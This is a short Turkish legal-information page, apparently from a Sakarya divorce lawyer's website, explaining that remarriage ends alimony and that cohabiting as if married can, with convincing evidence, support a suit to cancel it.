Yeniden Evlenme Nedeniyle Nafakanın İptali; Nafaka alacaklısının yeniden evlenmesi nafakanın ortadan kaldırılmasına neden olmaktadır. Nafakayı kendiliğinden sona erdirmesi nedeniyle nafaka iptal davalarına pek konu olmayan bir durumdur.Nafaka alacaklısının resmi olarak evli olmamakla birlikte evliymiş gibi bir başkası ile hayat sürmesi nafaka iptal davalarına konu olabilmektedir. Bu durum kesin ve inandırıcı deliller ile desteklenmesi halinde mahkemece nafakanın iptaline karar verilebilmektedir. Sakarya boşanma avukatı olarak bu ve benzer durumlarla sıklıkla karşılaşmaktayız. Nafaka alacaklısının evli olmamasına rağmen bir başkası ile evliymiş gibi hayat sürmesi durumunun delillendirilmesi oldukça önemlidir. Bu nedenle boşanma avukatından destek alınması tavsiye edilmektedir.

Yukarı kaydır